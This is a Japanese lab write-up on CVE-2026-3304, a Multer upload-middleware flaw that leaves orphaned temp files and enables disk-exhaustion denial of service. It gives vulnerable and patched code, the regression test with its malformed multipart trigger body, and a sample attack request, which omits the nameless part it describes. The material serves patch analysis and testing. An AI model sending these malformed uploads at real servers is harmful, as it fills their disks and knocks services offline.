教育および研究目的のみに使用してください。許可なくシステムを攻撃することは違法です。
このラボ環境は、Multer 2.1.0 のパッチとその公式テストコードを分析して構築されました。 脆弱なサーバーはパッチテストに記載された正確な条件を再現しており、 パッチ適用済みサーバーは Multer 2.1.0 を実行して修正が機能することを確認します。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-3304 |
| 対象 | Multer < 2.1.0(Node.js multipart/form-data ミドルウェア) |
| タイプ | DoS — 孤立ファイル(不完全な一時ファイルのクリーンアップ) |
| CWE | CWE-459: 不完全なクリーンアップ |
| CVSS 4.0 | 8.7 HIGH |
| パッチ適用バージョン | Multer 2.1.0 |
ファイルパートに name 属性が欠落した不正な multipart リクエストにより、Multer はディスク上に一時ファイルを作成しますが、それをクリーンアップしません。リクエストを繰り返すとディスク容量が枯渇し、サービス拒否(DoS)が発生します。
この脆弱性は、multer/lib/make-middleware.js 内の fileFilter コールバック処理フローに起因します。
Multer が multipart リクエストをパートごとにストリーミングして解析する際、以下のシーケンスが発生します:
[解析イベントシーケンス — 脆弱なバージョン]
1. パート1のヘッダーを受信
→ fileFilter(req, file, cb) が呼び出される
→ setImmediate(cb) → コールバックが次のイベントループティックに延期される
2. パート1のボディを受信
→ /tmp/uploads/<uuid> がオープンされ、データの書き込みが開始される
3. パート2のヘッダーを受信(name 属性が欠落)
→ Multer が 'name missing' を検出
→ errorOccured = true ← エラーフラグが設定される
→ abortWithCode('LIMIT_FIELD_KEY') が呼び出される → HTTP 500 がスケジュールされる
4. setImmediate コールバックが発火(次のイベントループティック)
→ fileFilter の結果: includeFile = true(通常フロー)
→ [バグ] errorOccured フラグがチェックされない
→ storage._handleFile() が呼び出される → 一時ファイルがディスクにコミットされる
5. HTTP 500 レスポンスが送信される
→ 一時ファイルがディスク上に残る(孤立ファイル)
make-middleware.js — Multer < 2.1.0)// fileFilter 完了コールバック(setImmediate で延期)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured はここでチェックされない
// パート2の解析中にエラーが設定されても、実行は継続される
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// 一時ファイルは uploadedFiles に登録され、ディスク上に残る
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
なぜ setImmediate が問題なのか?
fileFilter を setImmediate でラップすると、そのコールバックは次のイベントループティックに延期されます。
その間に、busboy(multipart パーサー)は次のパートのヘッダーを解析し続け、
name の欠落を検出して errorOccured = true を設定します。
コールバックが再開されたときには、エラー状態はすでに設定されています — しかしコードはそれをチェックしないため、
storage._handleFile が無条件に呼び出され、一時ファイルがディスクに書き込まれます。
修正コミット: 739919097d
fileFilter コールバックのエントリ直後、storage._handleFile に到達する前に、
単一の if (errorOccured) ガードが追加されました。
// fileFilter 完了コールバック(Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [パッチ] 処理を進める前に errorOccured をチェック
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // ストリームをドレイン — ファイルはディスクに書き込まれない
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| 項目 | 脆弱なバージョン(< 2.1.0) | パッチ適用済み(2.1.0) |
|---|---|---|
errorOccured チェック | ❌ チェックされない | ✅ コールバックエントリで即座にチェック |
エラー時の _handleFile 呼び出し | あり | ブロックされる |
| 一時ファイルのクリーンアップ | ❌ 欠落 | ✅ fileStream.resume() 経由 |
| リクエストあたりの孤立ファイル数 | 1 | 0 |
fileStream.resume() がクリーンアップする理由:
fileStream.resume() を呼び出すと、ストリームを DiskStorage に渡さずにドレインして破棄するため、
ファイルは書き込まれず、ディスク上に何も残りません。
Multer チームは、修正を検証するために 2.1.0 パッチに以下の Mocha テストを含めました。
このテストはこのラボ環境の設計図となりました — 脆弱なサーバーは
ここに記載された正確なセットアップ(setImmediate fileFilter + 不正な multipart リクエスト)を再現し、
期待される動作は脆弱なバージョンとパッチ適用済みバージョンの両方に対して検証されます。
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| アサーション | 意味 |
|---|---|
res.statusCode === 400 | Multer が不正なリクエストを正しく拒否する |
files.length === 0 | ディスク上に孤立ファイルが残らない(パッチ検証済み) |
脆弱なバージョン(< 2.1.0)では、files.length は 1 となり、アサーションは失敗します。
このラボは、上記のパッチテストのセットアップを直接ミラーリングしています。
脆弱なサーバー(Dockerfile + app/server.js)は、setImmediate を使用した非同期 fileFilter で Multer 2.0.2 を実行します — パッチテストの正確なトリガー条件です:
// app/server.js — パッチテストの脆弱性トリガーを再現
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← コールバックを延期し、競合状態を作り出す
cb(null, true)
})
}
})
パッチ適用済みサーバー(Dockerfile.patched)は同じ server.js を実行しますが、Multer 2.1.0 をインストールします。
ここでは errorOccured ガードが有効であり、パッチテストの期待される合格状態に一致します。
| サーバー | ポート | Multer | 期待される動作 |
|---|---|---|---|
| 脆弱なバージョン | 3000 | 2.0.2 | 不正なリクエストごとに孤立ファイルが作成される |
| パッチ適用済み | 3001 | 2.1.0 | 孤立ファイルなし — クリーンアップが正しく機能する |
注記:
fileFilterを同期に切り替える(setImmediateを削除する)と、Multer < 2.1.0 でも孤立ファイルの発生を防げます。 この脆弱性には両方の条件が必要です: 非同期のfileFilterおよびerrorOccuredチェックの欠如。
この攻撃は、2番目のパートに必須の name 属性が欠落した multipart/form-data POST を送信します。
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--